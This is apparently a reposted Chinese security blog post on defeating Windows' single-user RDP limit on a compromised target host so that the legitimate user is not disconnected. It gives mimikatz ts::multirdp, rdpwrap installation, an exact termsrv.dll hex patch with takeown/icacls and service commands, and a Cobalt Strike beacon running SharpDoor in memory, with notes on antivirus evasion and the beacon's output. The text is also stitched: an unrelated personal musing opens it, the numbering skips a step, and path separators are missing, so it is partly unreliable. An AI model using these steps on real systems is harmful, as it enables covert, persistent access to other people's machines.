|
到了一定年纪后真是很难专注的去做一件事,更别说做好了!而且时间长了就会感觉力不从心,真不知道自己还能坚持多久?
症状:
其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续?。
目前的两个问题:
-
登录原来的Administrator管理员用户时对方就会被我们直接挤下线,返回到登录界面。
-
登录新建的90sec管理员用户时也会提示:其他用户当前已登录到此计算机,选择继续后,目标主机会出现弹框提示:是否断开当前连接?(30秒后默认选择同意,返回到登录界面)。
解决方案:
(1) 利用Mimikatz法国神器安装RDP补丁来解决单用户登录的问题,如果返回“TermService”service patched则说明安装成功,不足之处就是目标主机在重启系统后便会失效。
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # ts::multirdp
"TermService" service patched
注:Windows 10家庭版默认不能开启远程桌面,因为微软对其进行了限制,不过我们可以用rdpwrap来恢复远程桌面功能,直接用RDPWInst.exe -s -i -o命令将其安装在System32,默认安装在Program Files。
还有就是有时在执行uninstall.bat卸载后发现TermService服务是开启的,但3389远程桌面仍然无法连接,这时我们需要重新开启3389远程桌面。
测试结果如下,如失败可尝试更新rdpwrap.ini:
-
Windows 7 - 6.1.7601.17514(成功)
-
Windows 10 - 10.0.17134.706(失败)- 更新rdpwrap.ini(2019-11-01)成功。
-
Windows 10 - 10.0.17763.437(失败)- 更新rdpwrap.ini(2019-11-01)成功。
-
Windows 10 - 10.0.18362.267(失败)- 更新rdpwrap.ini(2019-11-01)成功。
(3) 利用010 Editor手动修改termsrv.dll对应的16进制来解决单用户登录的问题,打开termsrv.dll查找8B 99 3C 06 00 00 8B B9 38 06 00 00,替换为B8 00 01 00 00 89 81 38 06 00 00 90,将修改好的termsrv.dll替换到System32目录下,替换前必须先停止TermService服务。
net stop TermService /y
copy termsrv.dll C:WindowsSystem32 /y
net start TermService
注:如果停止TermService服务还是不能替换System32目录下termsrv.dll,可能是因为它的权限问题,可尝试使用takeown、icacls命令来修改termsrv.dll文件权限,然后再替换该文件就可以了。
takeown /f C:Windowssystem32termsrv.dll /a
icacls C:Windowssystem32termsrv.dll /grant "administrators":(F)
(4) 利用SharpDoor自动修改termsrv.dll对应的16进制来解决单用户登录的问题,不过该项目在部分Windows 10中获取到的Termsrv.dll版本信息可能有误,所以没能成功执行替换Termsrv.dl的16进制。
这里我们必须先确定目标Termsrv.dll版本,然后再修改SharpDoor源码并重新编译,主要修改源码中需要替换的16进制和对应的Termsrv.dll版本信息就可以了。
注:SharpDoor项目中还有一个好处就是能够利用CobaltStrike中的execute-assembly命令将该程序直接加载到内存中执行,最终实现无落地文件执行,并且也能够达到一定的免杀效果。
唯一不足就是获取termsrv.dll版本信息不是十分准确,有兴趣的可以自己去完善一下这个项目!
beacon> execute-assembly C:Users******DesktopSharpDoor.exe
[*] Tasked beacon to run .NET program: SharpDoor.exe
[+] host called home, sent: 115755 bytes
[+] received output:
Allow Multiple RDP (Remote Desktop) Sessions By Patching termsrv.dll File
[*] Termsrv.dll Version : 10.0.17134.1067
[*] Stop termservice
[*] Backup termsrv.dll to C:UsersPublictermsrv.dll
[+] received output:
[*] Attempting to patch termsrv.dll
Original File Hash : 24ff1f89f2ec3f5561c34810c8328726
Patched File Hash : 4cec28b4c00002245dffc8346be0cc11
[*] C:UsersPublictermsrv.patch.dll was patched successfully
[*] Setting Registry Terminal ServerfSingleSessionPerUser to 0
[*] Setting Registry Terminal ServerTSAppAllowListfDisabledAllowList to 1
[*] Start termservice
[*] Done
相关阅读:
本文始发于微信公众号(潇湘信安):PC单用户限制3389登录的绕过方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论